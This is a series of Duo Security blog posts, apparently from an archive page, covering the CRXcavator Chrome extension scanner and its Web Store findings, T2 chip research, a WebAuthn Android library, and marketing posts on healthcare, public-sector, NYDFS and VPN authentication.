As our portal to the internet, browsers represent what is likely the largest common attack surface across consumers and businesses alike. While browser security has progressed dramatically and modern browsers, such as Chrome, provide critical security features like automated updates and built-in protection against malicious content; the powerful capabilities of browser extensions can introduce critical risks that are often unclear to users.

Just like Google, Duo has deep interest in a secure and trustworthy browser and extension ecosystem. While the Chrome browser provides perhaps the most secure browsing experience available, it is often difficult for people and organizations to know which third-party extensions are compatible with their risk profile.

These extensions are often overlooked when it comes to assessing the security of user endpoints, even though they have increasing access to personal and corporate data with the widespread usage of Software-as-a-Service (SaaS) tools for presentations, taxes or email clients. To provide users and IT teams with actionable intelligence about Chrome extensions, Duo Labs is excited to announce the public beta of CRXcavator (rhymes with “excavator”), a free service that analyzes Chrome extensions and produces comprehensive security reports.

We’ll discuss the analysis and enterprise management features later in this post. But first, a history lesson.

Remember When 'You've Got Mail!' Was Exciting?

Gather round, children, and let me tell you a tale of the dark period that came to be known as the first Browser War. The year was 1997. Internet Explorer and Netscape Navigator were rapidly releasing new versions in an effort to one-up the features of the other. On one fateful October day, Microsoft published Internet Explorer 4.0. The browser world was never the same again. IE 4.0 provided a means for third-party developers to add entries to the right-click menu. Browsers previously didn’t provide any mechanism for users to customize their browser.

From this point, the range of functionality provided by toolbars, plugins and extensions exploded. Ever since these heady days of the young consumer internet, there have been several models for browser customization — from heavy-handed interfaces like Internet Explorer’s ActiveX and the Netscape Plugin API, to the menagerie of toolbars that we dreaded seeing on relatives’ computers.

And they wondered why their internet was slow.

Google Chrome is currently the world’s most widely used browser, with more than 60 percent of users using Chrome. From the beginning, Chrome has focused on developing a secure browsing experience and has led the way on numerous improvements within the browser ecosystem. We’ve written before about some of Chrome’s security features, such as the push to drop Flash.

As with all browsers that support third-party extensibility through extensions, applying a universal security experience can be challenging. Extensions have access to powerful functionality within the context of a browser, and as a result, there have been instances when this functionality has been abused by malicious actors. Not only do outright malicious extensions exist, but legitimate, benign extensions with vulnerable Javascript can be attacked by malicious content on a page unintentionally loaded by the user. The site the user is visiting may itself be legitimate, but could still end up serving as a conduit for an attack by an ad network that’s been duped into serving malicious content.

Additionally, like many other types of software available today, extension developers often use third-party libraries to construct extensions. These third-party libraries are regularly updated to address security vulnerabilities, but it is up to extension developers to ensure that these updates are included in extensions. If out-of-date libraries with known security vulnerabilities persist in extensions, it is possible that these vulnerabilities could be exploited by malicious code on sites that are visited.

The Chrome extension permission model asks the user to approve permissions, and people will often grant permissions to extensions without much consideration. Since the opportunity to grant permissions required by the extension first occurs during the install workflow, the prudent enterprise security team would want to evaluate every extension before allowing the user to finish the install flow. Note, however, that this cautious hypothetical security team would also need to have nearly infinite capabilities to be able to perform a thorough investigation of every extension.

Even if a security team has approved an extension, its functionality can change over time, often without notice. One scenario where this applies is if a malicious third party were to gain control of the extension, perhaps by buying it from the developer or compromising the developer’s account. The third party could add malicious code and push the new version out to existing users without triggering another security review. Manually reviewing every update to extensions allowed in an organization's domain is not feasible for most security teams.

What if a more realistic security team, when presented with a request to install a Chrome extension — abbreviated CRX, for “ChRome eXtension” — wanted to use automation to dig into this CRX?

Powerful, machine-driven digging, almost like a backhoe.

Or an excavator.

For CRXes.

A CRXcavator, if you will.

Neat Name, but What Does It Do?

The set of permissions an extension requests gives a good indicator of how concerned a reviewer might need to be, so CRXcavator is built on understanding the implications of the various permissions that are available for an extension to request. We have categorized and assigned an objective numerical risk score to each permission to help a security team have a metric to use when triaging extension analysis.

However, as we’ve discussed above, permissions alone are insufficient for fully understanding the security properties of an extension. CRXcavator addresses this by evaluating extensions from several other angles, including:

• Building a list of sites that the extension’s code likely makes external requests to, which could potentially upload user data or download additional malicious code
• Analyzing third-party Javascript libraries for vulnerabilities using RetireJS
• Analyzing the Content Security Policy (CSP) of an extension to identify which domains an extension can communicate with. Domains that the CSP allows are checked against threat intelligence sources such as VirusTotal, ThreatExchange and SSL Labs
• Listing externally included JavaScript files and letting the user view their source code from within the report
• Scanning for potentially dangerous functions and possible “entry points” — points in the code where a potential bad actor could input data
• Including extension metadata, such as number of users and links to its privacy policy and support page, if the developer provides them
• Identifying related extensions, as determined by the Chrome Web Store, to help analysts find alternatives to suggest to a user if a requested extension seems shady or too risky

With all these perspectives included, a CRXcavator report equips a security operations analyst to make a well-informed decision about whether to allow or block an extension.

Here at Duo, however, we’re never satisfied with measuring just one thing at a time. So we scanned all of the extensions in the Chrome Web Store.

You Do Know That ‘All’ Is a Lot of Extensions, Right?

Yes! And there are a lot of them! There are over 180,000 items in the Chrome Web Store, including extensions, themes and Chrome apps — stand-alone web applications downloadable from the Web Store (Google explains apps vs. extensions in further depth). We ended up discovering and processing 120,463 extensions and apps. To ensure we had the resources to run complex analyses, CRXcavator is built upon high-speed, embarrassingly parallel functions on a Function as a Service platform. AWS Lambda allows us to process and frequently re-process the entire public Chrome Web Store. These Lambda functions feed into a database that is not only up-to-date, but also deeply historic, and more so by the hour.

By analyzing the properties of the extensions we scan, we start to gain insight into what the Web Store ecosystem actually looks like, from perspectives of permission overreach, incomplete or broken CSPs and developer behavior, such as configuring optional metadata.

The State of the Web Store

Google has taken great strides towards making the Web Store more secure. They recently announced that they are giving users control over host permissions while also improving their extension review process. Google recently discussed improvements to their process for extension review, which definitely raises the bar for a malicious extension author. CRXcavator fills the gap between what Google deems safe enough for distribution via the Web Store, and what users or businesses deem safe for their own use based on their own individual risk preferences.

Duo scanned 120,463 Chrome extensions and apps in January 2019 and found that many developers are not consistently ensuring the security of their third-party libraries, reducing their access to user data to the minimum needed for the extension to function, or providing information about the privacy implications of their extensions.

Specifically, Duo found that 38,289 extensions (31.8 percent) use third-party libraries that contain publicly known vulnerabilities. Another area where we hope to see extensions (including apps) improve for administrators is ensuring that privacy policies and support sites are available and easily accessible. Currently, 102,029 extensions (84.7 percent) do not have a privacy policy listed, and 93,080 (77.3 percent) do not have a support site listed. These are easy fixes that will drastically improve the security and transparency for administrators evaluating extensions for their organizations.

Of the 95k extensions in the Web Store that support Content Security Policies at the time of our analysis, we found that 74,403 (78.3 percent) do not have a CSP defined and, beyond that, 94,059 extensions (99 percent) do not have default-src or connect-src in the CSP defined. These are the parts of the CSP that give developers the ability to restrict which external resources the extensions can access and where the extensions can send the data they collect.

CRXcavator scans the full Chrome Web Store on an ongoing basis, making it easier than ever for analysts to review and stay updated on the extensions their organization has allowed or are considering allowing. Duo is proud to collaborate with Google as a Chrome Enterprise customer ourselves, helping to bridge the gap of transparency and security for administrators in the same boat.

To the Enterprise and Beyond!

We’re excited about all the extension analyzation capabilities included in CRXcavator, but let’s not forget why we started down this road in the first place. We needed to be able to support an enterprise-scale default-deny/explicit-allow extension policy, and thus CRXcavator has an extensive suite of ready-to-go enterprise features. Users of the platform can create accounts and link themselves to a group. Enterprises can use these groups to manage their Chrome extension allowlist, set threat intelligence keys and more. Once an organization has imported their allowed extensions, administrators can navigate to the Dashboard page to view their highest risk and most-recently updated extensions.

Not only can CRXcavator help organizations manage their allowlist, but it can also help them gain visibility into what extensions are currently used throughout their fleet. With the helper CRXcavator Gatherer Chrome extension deployed, endpoints will send data about what specific extensions and versions are being used and tie it back to the user signed into the browser. This allows organizations to know exactly what extensions are being used, who is using them and how much risk is brought to the organization by their users’ extensions. As a Chrome extension itself, CRXcavator Gatherer works on any OS that allows Chrome to install extensions, such as macOS, Windows and ChromeOS.

CRXcavator’s extension analysis capabilities, combined with enforcement controls in G Suite, empower organizations to more easily achieve parity for Chromebooks in terms of application allow-listing practices, as compared to other desktop operating systems.

A drawback to denying extensions by default and using an allowlist is the amount of time spent responding to requests and analyzing extensions. One workflow that is likely familiar to many organizations asks users to email requests to a support queue with a valid business justification. To streamline this process, we developed another feature into CRXcavator Gatherer: User Extension Requesting. When a user visits the install screen for an extension that is not already whitelisted in their domain, a notification will appear telling them that the extension requires approval and they can “click here” to request it.

They will then be brought to a page where they can enter their business justification and request approval. Requests are sent to a group in CRXcavator and can be reviewed by adminstrators in the tool. To provide flexible integration with ticket queues and chat platforms, CRXcavator can also post requests to a webhook of the administrator’s choice.

Automation is the name of the game when it comes to modern security tooling, which is why we made CRXcavator 100 percent API first. Everything in the web frontend is based on a corresponding API that’s exposed to all users.

Getting to the CRX of the Matter

CRXcavator can help users, enterprises and developers improve their Chrome extension security hygiene. We’re excited to finally show this tool to the world, and we want to hear from you if it changes how you approach browser extension security. It is currently a public beta release, so there are probably some bugs that sneaked past our awesome private beta testers. Contact us at support@crxcavator.io with any bug reports and ideas, and, just as importantly, success stories.

CRXcavator Infographic

For more information on CRXcavator, check out our infographic:

This Valentine’s Day, the Duo Labs team is spreading the love by extending our previous analysis of Apple’s T2 security chip to investigate the communication channel between the T2 and host macOS system.

The T2 chip is integral to not just the secure boot process on new generations of the iMac Pro and MacBook Pro, but also to Touch ID, one of the first biometric authenticators suitable for our passwordless future. The integrity of this system is critical. If a third-party can compromise the T2’s firmware, the chain of trust fails. However, like much of the *OS ecosystem, the T2 chip is proprietary and opaque, complicating the independent evaluation of its attack surface. We have continued to evaluate, and illuminate, the attack surface of the T2 so that those who are relying on the security of the chip can include these considerations in their evaluation of the platform. In this third phase of research, we look at the T2 surface exposed to the macOS host after the boot process has completed. We show how the messaging format differs from traditional XPC and how valid packets can be constructed to interact with the T2 chip directly.

To communicate with macOS, the T2 chip exposes a list of services over a machine-internal network interface. After disabling SIP, we can capture and analyze the T2’s network traffic. By leveraging the remotectl utility, we can open a socket to communicate with these services directly, without disabling SIP. However, the messaging protocol used is based on the XPC Services framework, for which documentation of the underlying messaging format is sparse. In our full research report, we explore this messaging format in depth.

As part of this research, we developed tooling to not only decode and monitor the messages passed between macOS and the T2 chip, but also to forge valid packets and communicate with the T2 chip directly. We have released our tooling as open source so that the entire research community can continue to evaluate the security of Apple’s T2 ecosystem.

In the process of deciphering the messaging format, we also performed an in-depth analysis of the Sysdiagnose protocol that macOS uses to retrieve system diagnostic information, including diagnostic information about the T2 chip. Unlike the sysdiagnose client utility, which requires root to query the T2 chip, the remotectl utility can be run by unprivileged processes. Our custom sysdiagnose client can leverage this to pass arbitrary diagnostic collection parameters to the remote sysdiagnose server on the T2.

For a detailed technical discussion of the research, experimental tooling and the conclusions reached, grab a box of candy hearts and check out the full research report.

At Duo, we’re incredibly fond of the strong authentication properties provided by WebAuthn. We have been talking for some time about the issues posed by password-based authentication, and much of our recent work has centered around demystifying WebAuthn and making it more accessible and understandable to end-users and developers alike.

Toward the end of January we announced our new Guide to Web Authentication, as well as the revamp of webauthn.io, our WebAuthn demonstration site.

Though WebAuthn is poised to change how we think about authentication, the current hardware landscape makes adoption challenging. Most current standalone authenticators do not provide the ability to verify a user’s identity (via biometrics, PIN, etc.). Hardware like Apple’s Touch ID (which can serve as an authenticator) is being bundled with new computers, but the refresh cycle on laptops/desktops is fairly long, recently nearing six years for desktops[0]. Mobile devices, on the other hand, have a replacement cycle under three years[0], and mobile device manufacturers have been adding new security features at a rapid pace.

Many consumer mobile devices already have security properties that make them great candidates for storing sensitive information like WebAuthn credentials: hardware-backed cryptographic operations, biometric user verification, and deep integration between hardware and software that reduces the the ability of malicious code to cause damage or steal secret data.

To this end, Duo Labs is releasing an open-source Android library that serves as a WebAuthn authenticator, supporting hardware-backed keys and biometric user verification. This adds to our collection of open source WebAuthn libraries, including server-side WebAuthn implementations in Golang and Python, and our webauthn.io demonstration site.

We hope this release will allow developers to experiment with the authenticator model on hardware already in the hands of the masses, and we’re excited to see what you create. To learn more, see examples and download the library, check it out on GitHub.

[0]: The PC upgrade cycle is nearly six years per Intel’s CEO, and the mobile device upgrade cycle was recently measured at 32 months (up from 25 months the year before).

Healthcare organizations face a dilemma: their work inherently relies on speed and efficiency to ensure patients are cared for, yet they deal in volumes of confidential data and must comply with a host of data regulations to ensure that data is protected.

The challenge arises when introducing security solutions to ensure the people accessing that sensitive data are who they say they are and are accessing it from a device that is up-to-date, healthy and secure. And all of this must be done with minimal friction and without interrupting or impeding physician and practitioner workflows – any disruption could affect patient care.

As one security director for an enterprise healthcare network said: “Our care providers are taking care of people, which should be front and center, they shouldn’t be burdened by security solutions that impede their ability to do their job.”

Meanwhile, healthcare organizations want to provide their staff with the access they need while reducing the risk of stolen credentials and patient information and other sensitive data.

Take, for example, one enterprise healthcare system. While looking for a solution to secure patient data while enabling flexible, anywhere access from any device, this organization discovered roughly 30,000 more mobile devices than they had previously thought were accessing their environment. These 30,000 devices, which comprised more than half if its entire device fleet, had been accessing applications containing patient data and were going largely unchecked. This discovery, and insight into those 30,000 once-unchecked devices, immediately improved the healthcare organization’s security posture.

While this is just one example, it’s a common symptom across an industry that by its nature – handling mountains of confidential and sensitive data – needs control over who can access what, when and how. And with health records fetching an estimated eight to 10 times the price of a credit card on the black market and 91 percent of healthcare organizations reporting at least one data breach in the last two years, protecting that data is imperative.

The current state of trusted access in healthcare is both good and bad – good in that healthcare organizations that use Duo are implementing security and access policies at a rate higher than other industries; bad in that they lag behind in terms of device-level security.

Here, we’ll take a look at the state of trusted access in healthcare and how it compares to other industries.

Policy Enforcement Rising

The good news is that across Duo’s customer base, healthcare is beating out other industries in its use and enforcement of strong secure access policies. Based on authentication data from the 12-month period between December 2017 and November 2018, healthcare customers set stricter access policies, such are requiring encryption.

For example, for access from anonymous IP addresses, 18.3 percent of healthcare customers deny access, where only 8 percent across all industries deny access from anonymous IP addresses. Meanwhile, 11.4 percent of healthcare customers require 2FA from anonymous IP addresses while only 8 percent across all industries require it.

Meanwhile, 10.6 percent of healthcare customers require encryption compared to 6.3 percent of all industries; and 26.4 percent require a device lock to be on, compared to 18.6 percent across all industries.

And when it comes to rooted devices - or devices that users have root access privileges to – 38 percent of healthcare customers have a policy disallowing rooted devices, while 23.5 percent of customers across all industries leverage that policy.

Device-Level Security Lackluster

Where healthcare companies excel at leveraging and enforcing strong access policies when compared to other industries, their use of device-level security paints a less rosy picture, our data found.

In healthcare, failed authentications occur with more frequency than the average rate across all industries.

For example, authentications fail in healthcare due to devices not having disk encryption more than 10 times as often as the average across the other industries.

Authentication attempts fail more often in healthcare based on myriad other reasons, including:

• The use of a restricted platform (4.30 times as often)
• Attempting to authentication from an anonymous IP (3.83 times as often)
• Attempted access by an unenrolled user (2.29 times as often)
• The use of an invalid device (2.09 times as often)
• Lack of a screen lock (1.88 times as often)

This data shows that healthcare is making strides in ensuring trusted and secure access, with stronger enforcement of policies across their user-bases, but that there is room for improvement when it comes to device level security, as evidenced by above-average failed authentications in many major categories.

There are two schools of thought when it comes to access security: one is to adopt a traditional perimeter security-based model and keep everything inside corporate walls in hopes to maintain security; the other is to adopt a modern, zero-trust security model, which assumes no one is more trustworthy, regardless of whether or not they’re inside that perimeter.  At Duo Security, we subscribe to the latter.

When I first came to Duo, I cringed when I first read one of our beloved taglines: "democratizing security." I've met many security professionals, and I thought they may misinterpret what we meant. To them, security was secure because of the inherent complexity and difficulty. It meant building ‘high walls’ in the form of that presumably secure perimeter and keeping people out. The idea of democratizing security could offend those who've spent a career building those high walls around the network.

But the more I learn about the various challenges facing cybersecurity professionals at the state, local and federal level, the more I think the idea of democratizing security is perfect; especially when we consider everything public sector agencies are trying to secure, such as elections, first responders and public safety, and war fighters, and their need to access all things legacy and cloud. It seems an impossible task to implement a single multi-factor authentication (MFA) solution for any user, any device, anywhere, any time. Like many political promises, the promise of Duo and zero trust seems too good to be true. It’s not. It's true.

Recently, one public sector customer told us how they have many, many different workflows, each with a different authentication process. He sarcastically said, "If you work in one group you have to do five push ups and 10 sit ups to get access, while another group may have to do three laps and 10 push ups. It's impossible to keep up with. It’s expensive, complex, etc." In response, our team told him, "With Duo, it's the same authentication process for EVERY workflow, whether it's a cloud application or legacy on-prem ‘stuff,’ from every device – AND – it's a 10x reduction in TCO.” They immediately asked to do a TCO calculation for themselves.

Another small town official said that some of their local officials serve in multiple capacities. Some who serve on fire and rescue are also on the school board and subsequently need access to different applications when serving in one capacity or the other.

I was reading this StateScoop article, Wall That Damn Thing Off, and was again reminded of all the various complexities and co-dependencies that state CIOs face and how the old security model is passing and something new is rising, and they are caught somewhere in between looking for a bridge from the old way to the new. “There are things that keep CIOs up at night,” the article states. “A lack of dedicated funding for security, complexity of malware and number of devices coming into network. Before, we were able to build a moat around the data center. Now that dwindling edge is disappearing.”

The wall around the resources is not as useful as it once was, no matter how high and wide you build it. It's being jumped and burrowed under by users who want access. Users are democratizing access whether we like it or not. But that's precisely what Duo CEO and Co-Founder Dug Song meant when he said Duo is democratizing security. They are rising up and demanding democracy – “equal access” – and the old, antiquated methods of enforcement can't keep pace with the user unrest.

Duo doesn’t try to bend the old paradigm to fit the new. Instead it created a whole new security paradigm that allows us to have access and security. This is precisely where Duo fits in the public sector. Duo supplies the cloud middleware that can provide users the access they seek while increasing security and reducing complexity and costs.

So, whether you are a soldier, election official, police, fire, rescue or simply trying to gain access to applications to do your job, Duo allows secure access for any user from any device, anywhere, anytime – without having to climb over a wall. Easy and simple.

This blog post is the second in a three-part series on how Duo integrates with Cisco technology. Read part one.

Duo’s integration with Cisco’s AnyConnect VPN is one of Duo’s most popular. Over 5,000 customers use Duo’s multi-factor authentication (MFA) with Cisco’s AnyConnect to provide VPN access to users. Up until now, customers were able to secure their AnyConnect VPN client running on Adaptive Security Appliance (ASA) products only.

Secure Access on FirePower Threat Defense (FTD)

Today, we are announcing beta availability of Duo's MFA for AnyConnect running on Cisco’s FirePower Threat Defense (FTD). You can learn more about Cisco FTD here.

With this integration, admins can now deploy Duo’s MFA to secure VPN access. Users have the flexibility to use one of several authentication options such as Duo Push, OTPs, Phone call, SMS or hardware tokens to authenticate with Duo. Most of our users utilize Duo Push, which is an easy and secure way to authenticate. With Push authentications, admins can get visibility into users' mobile devices and insights into the security posture of devices. If a mobile device does not meet the corporate security policy, such as device should have passcode lock enabled, it can be blocked from receiving Push notifications, prompting the user to take appropriate remediation action.

To enable this integration, customers need to upgrade to FirePower version 6.3 using FirePower Management Center (FMC) as the management software. Future software releases will include support for FirePower Device Manager (FDM), the on-box management software used to manage FTD.

This integration is available with Duo Free, Duo MFA, Duo Access and Duo Beyond editions.

If you want to set up this integration, you can use this integration document or get in touch with your account executives.

Financial services firms fall victim to cybersecurity attacks 300 times more frequently than businesses in other industries. Forbes puts that at over 30 attacks per second. In response to the high volume of attacks and costly impact of breaches against financial services organizations and to attempt to protect the financial services industry and its consumers, the New York Department of Financial Services (NYDFS) proposed NYDFS Cybersecurity Regulation, 23 NYCRR 500 (PDF).

Who Is Impacted by the NYDFS Cybersecurity Regulation?

The NYDFS Cybersecurity Regulation applies to the over 3,000 financial institutions that operate under NYDFS licensure and to third-party service providers including:

• State-chartered banks
• Licensed lenders
• Private bankers
• Foreign banks authorized to operate in New York
• Mortgage companies
• Insurance companies
• Service providers

There are a few exemptions for who must comply with NYDFS, such as:

• Companies with fewer than 10 people
• A company with less than $5 million in gross annual revenue from New York State
• A company and its affiliates with less than $10 million in end-of-year assets
• A licensed captive insurer that does not, or is not required to control, access, receive or store non-public information beyond the information related to its corporate affiliates
• Charitable organizations
• Foreign risk groups operating in New York

The cybersecurity framework was introduced in 2016 with a four-phase rollout plan. Phase one was about implementing the basics and went into effect on Feb. 15, 2018. Covered entities were required to design a cybersecurity policy, designate a chief information security officer (CISO), and establish an incident response plan with breach notifications within 72 hours.

Phase two brought more security transparency to the industry and went into effect on March 1, 2018. It made organizations responsible for preparing annual reports on its information security policies and procedures, cyber risks, and the effectiveness of its cybersecurity programs. Covered entities were also required to design and implement a cybersecurity program to continually test their security resilience, as well as to implement multi-factor authentication (MFA).  

Phase three, effective Sept. 3, 2018, called for covered entities to have a cybersecurity program in place showing the five-year audit trail highlighting the detection of and response to events; written guidelines and standards to secure in-house applications and the testing of external applications; a data retention policy for the disposal of non-public personal information; and the implementation of security controls, such as encryption of non-public business relations and personal information.  

The fourth and final stage goes into effect March 1, 2019 and focuses on the security of third-party service providers covered by financial institutions.

How Duo Helps Organizations Comply With NYDFS

In phase two, the regulations mandate that MFA shall be used “for any individual accessing the Covered Entity’s internal networks from an external network unless the Covered Entity’s CISO has approved in writing the use of reasonably equivalent or more secure access controls. (500.12 b)”

Specifically, section 500.1 defines MFA as:

Multi-Factor Authentication means authentication through verification of at least two of the following types of authentication factors: (1) Knowledge factors, such as a password; or (2) Possession factors, such as a token or text message on a mobile phone; or (3) Inherence factors, such as a biometric characteristic.

Not all MFA solutions are equal. We have found when organizations are forced by regulation to deploy a solution quickly there is often resistance from users, causing friction and frustration with the security team. With Duo’s multi-factor authentication, financial services organizations can secure remote access for all of their users with an  MFA solution that is easy to deploy and use, thus reducing the friction of implementing a new security solution which adds the required second layer of security defined in the regulation.

We understand that the users within an organization have varied needs and technical abilities. In order to address this diversity Duo provides several different multi-factor authentication (MFA) methods which provide IT teams the ability to implement authentication while providing their users the ability to select from push-based notifications on a mobile/wearable device, one-time passcodes, Universal 2nd Factor (U2F) devices, phone callback, SMS passcodes, or hardware security tokens.

 Adaptive Authentication and Policy Enforcement

The regulations also state: 

Based on its Risk Assessment, each Covered Entity shall use effective controls, which may include Multi-Factor Authentication or Risk-Based Authentication, to protect against unauthorized access to Nonpublic Information or Information Systems. (500.12 a)

In sum, MFA must be used when accessing internal networks from an external network, unless the CISO has provided written approval to use reasonably equivalent, or more secure, access controls. (Section 500.12: Multi-factor Authentication, effective date: March 1, 2018)

Risk-Based Authentication means any risk-based system of authentication that detects anomalies or changes in the normal use patterns of a Person and requires additional verification of the Person’s identity when such deviations or changes are detected. (Section 500.01 Definitions)

As part of its cybersecurity program, based on the Covered Entity’s Risk Assessment each Covered Entity shall limit user access privileges to Information Systems that provide access to Nonpublic Information and shall periodically review such access privileges. (500.07)

With Duo's endpoint visibility, you can get insight into the different users and devices accessing your applications so you can create and enforce policies that limit access based on risk.

Duo's solution allows you to enforce role-based access policies to grant or block access attempts by the user, device, or based on contextual factors - such as location, network address ranges, biometrics, device security and more.

This gives financial organizations the ability to implement a more dynamic/adaptive authentication solution that can help meet risk-based requirements, per the NYDFS cybersecurity regulations.

To comply with the NYDFS Cybersecurity Regulation, all financial institutions within scope, including third-party service providers, need to protect access to their internal networks with multi-factor authentication (MFA); adaptive authentication or risk-based authentication; and enforce policies to limit access privileges. Duo’s security platform can help protect users, devices, and applications with strong authentication and access controls.

Options Technology, the largest MSP serving the leading global investment banks, hedge funds, exchanges and other financial services firms, found “our customer satisfaction (CSTAT) scores have gone through the roof since we started using Duo. It may not be all Duo, but it played a big part in scores of 4.87 out of 5.”

Give Duo a try and see for yourself why so many financial services companies and insurance companies have deployed Duo to meet their MFA and application control requirements. Contact us today for a free demo or try Duo Security.  

Get ready for this year's HIMSS Conference & Exhibition, starting Monday, Feb. 11! This week-long event will take place in Orlando, Fla. and highlights information and technology in the healthcare industry.

Join Duo Security and more than 45,000 professionals from around the world at the Orange County Convention Center to network during the evening receptions and the Awards Gala, visit with 1,300-plus vendors on the exhibit floor, and choose from over 300 educational sessions throughout the week.

We’d love to see you at HIMSS - come find us at booth #1407 and learn how our trusted access security solutions can help your organization improve productivity and streamline EPCS workflows with quick and easy two-factor authentication. We'll be in the exhibit area during the following hours:

• Tuesday, Feb. 12 from 10 a.m. to 6 p.m. EST
• Wednesday, Feb. 13 from 9:30 a.m. to 6 p.m. EST
• Thursday, Feb. 14 from 9:30 a.m. to 4 p.m. EST

For a more in-depth look at Duo’s trusted access solution, visit us in the Cybersecurity Command Center at booth #400, kiosk #86. Join us for a demo of our endpoint visibility, adaptive authentication and policy enforcement, and remote access and single sign-on features.

If you’re looking for a conversation away from the crowd, we’d be happy to schedule a 1:1 meeting. Please stop by suite #248 at the Rosen Centre Hotel, adjacent to the Convention Center, to chat with a Duo representative.

We'll also host a speaking session at 4:45 p.m. Wednesday, Feb. 13 in Cybersecurity Theater A. Duo Product Marketing Manager, Amanda Rogerson, will present “A Security Solution to Simplify Patient Care.” Amanda will cover how Duo provides one unified security solution to keep patient care simple while still allowing you to meet compliance regulations, streamline workflows and consolidate security to reduce cost and complexity with our strong multi-factor authentication, adaptive authentication, endpoint visibility and remote access capabilities.

How Duo Helps Healthcare

Duo provides security solutions that enable healthcare organizations to consolidate security vendors with solutions for multi-factor authentication, adaptive authentication, endpoint visibility and remote access/SSO. With Duo's step-by-step enrollment, flexible authentication and user self-service options, you can reduce help desk burdens and overall deployment costs.

Healthcare admins can quickly secure all apps and reduce their time-to-security with Duo's flexible solutions.

Duo users can choose from a variety of authentication methods:

• Duo Push sends a push notification to your device for approval
• Phone Callback prompts users to call a phone and then log in by answering and pressing a key
• Hardware token and U2F token support

With Duo's remote access and secure single sign-on (SSO), users experience a consistent, simplified login workflow to access critical applications used by healthcare institutions, which can eliminate complexity in the clinician workflow ensuring that they can focus on patient health.

Duo's strong multi-factor authentication can help meet the access control requirements of the HIPAA Security Rule and HITECH Act, mitigating the risk of lost or stolen credentials, which could compromise electronic personal health information (ePHI). Duo also empowers organizations to meet the Drug Enforcement Agency’s (DEA) mandates for issuing e-prescriptions.

Under the DEA mandate, practitioners must use two forms of identification for identity-proofing to sign and verify digital prescriptions. Luckily, verifying individual doctors’ identities has never been easier. Duo partnered with Identity.com to streamline the process and meet regulatory guidelines for identity proofing. Duo Mobile for authentication is a FIPS 140-2 token, and a DEA-accredited auditor, Drummond Group, LLC, has confirmed that Duo Push satisfies the Electronic Prescription of Controlled Substance (EPCS) regulation.

It is equally important to ensure the health of the devices that are accessing sensitive resources. To help healthcare organizations get insights into such devices, Duo Access offers endpoint visibility, providing data into who and what types of devices are accessing your systems and applications, and the health of those devices. Duo also never collects users’ personal information, but does provide administrators with valuable device security data, without invading users’ privacy on their personal devices.

Through risk-based and adaptive access policies, you can track and block any outdated devices from accessing your environment, in addition to protecting your users and company from stolen passwords and account takeovers.

Duo enables healthcare institutions to move towards a zero-trust security model through our trusted access solution. With the solutions that Duo offers, you can verify users and devices and ensure secure access to protected applications through easy to implement risk-based controls that won’t impact users, providing a balance between security and usability.

To learn more about the path to zero trust, take a look at our guide, An Enterprise Healthcare CISO’s Journey to Zero Trust.

This guide provides:

• A detailed account of one healthcare CISO's experience with a zero-trust security model
• An overview of the needs of his hybrid, mobile and cloud environment, as well as the need to meet HIPAA compliance
• An account of how he balanced usability and security and fit Duo Beyond into his existing network architecture
• Insight into the hefty number of shadow devices that surprised him after they gained device insight with Duo

Download the guide now.

Duo’s adaptive authentication & policy enforcement is how a growing number of companies address such security issues as growth in cloud services, bring your own device (BYOD) and distributed workforces. This feature set allows Duo administrators to set fine-grained device access policies, restrict access to or from specific locations, and require certain security settings on devices.

To complement this feature set, Duo's newest addition to our reports includes the Policy Impact Report – a clear, concise and holistic view of your administrative policies and how they impact your users This new report is available on Duo Access and Duo Beyond.

Why We Created This Report

The Product Design team spoke with several of our customers’ Duo administrators to learn more about how they were using access policies and what we could do to progress the feature set. One of the most salient takeaways was that Duo administrators do not have an efficient way of measuring the success of their policy configurations.

In order to provide this value, our team needed to understand how administrators are currently using policies and why. The Product Design team conducted dozens of discovery interviews with Duo administrators to answer these high-level questions:


1. What types of policies are administrators enacting? How have their policy ecosystems evolved over time?
   
2. What is the most and least useful policy-related data Duo is already providing to administrators?
   
3. What missing policy-related metrics would be most valuable to administrators?


The Product Design’s research revealed that administrators must measure the success of their enacted policies against multiple, sometimes conflicting objectives; they need to balance organizational security needs with end user productivity. Additionally, they often enact policies that block or warn end users because of device hygiene, while also setting policies that expedite end user authentication like “remember trusted devices.”

Duo can support these efforts through analytics, helping administrators surface and solve policy-related problems by answering these key questions:

1. How are policies working together to improve the organization’s security posture?
   
2. How are the end users being impacted by policies (both positively and negatively)?
   

As a result, we are excited to introduce a recent addition to Duo’s growing reporting suite: the Policy Impact Report. This report provides a clear story of how policies are working together to improve an organization’s security posture. It describes how end users are being impacted by policies, both interactions in which they are blocked and those in which they are expedited through without having to select an MFA (multi-factor authentication) method.

With this report, administrators can easily identify the reasons driving policy activity, single out distressed users, uncover user behavior patterns, and see how expedited policies help the right end users access their applications faster.

In the future, we intend to provide a log of changes made to policies as well as support filtering on specific policies, including step-up authentication and warned activity. Since many administrators are reluctant to block end users, step-up authentication and warned activity metrics are important to understanding overall policy impact.

You know the way, it throws about
It takes you in and spits you out
It spits you out when you desire
To conquer it, to feel you're higher
To follow it you must be clean
With mistakes that you do mean
Move the heart, switch the pace
Look for what seems out of place
-Peter Murphy

Well, the shutdown is over. Finally. Now, the shutdown hangover begins.

There was a curious announcement by the Department of Homeland Security (DHS) during the shutdown that had everyone scratching their collective heads ... at first.

DHS gave agencies 10 days – in the middle of a shutdown no less – to get their account security in order, specifically calling out two-factor authentication (2FA) and other protections due to DNS hijacking vulnerabilities.

I was glad to see DHS being proactive (ok, probably long overdue) in this area, but giving agencies 10 days to act in the middle of a shutdown was probably counterintuitive. Anyway, the shutdown is now over; so here we are. Agencies can start enacting these protections and controls. Whew. With a few days to spare.

Then there was this little gem on Twitter:

See the video at the blog post.

It turns out, lots of folks’ passwords expired during the shutdown and now there is a bit of a DOS attack on agency IT organizations as they struggle to get folks back to work.

See the video at the blog post.

But if, by the law of the land - HSPD-12, we are all using smart cards (which have their own set of issues and idiosyncrasies), then why are folks dead in the water with password expirations? Ah yes, the dirty little federal workforce secret, which isn’t really secret (I’ve been talking about this for years): we still use passwords. Lots of them. Everywhere. All the time. And because passwords are inherently flawed objects, we are forced to change them, all the time. We force this change through draconian password policies, which then forces yet another password security vulnerability and creates the aforementioned password lock out: people write them down on stickies and stick them to their monitors (remember that picture of the Hawaiian official during the missile scare with his password stuck to his monitor...on national television? Sure you do.).

Don’t get me wrong, I was a big fan of HSPD-12 when it came out ... in 2004. I wasn’t happy to get my OPM breach letter (my wife was less happy), but 2004 was 15 years ago. Fifteen years! A lot has changed since then, and a lot continues to change. Passwords can’t keep up.

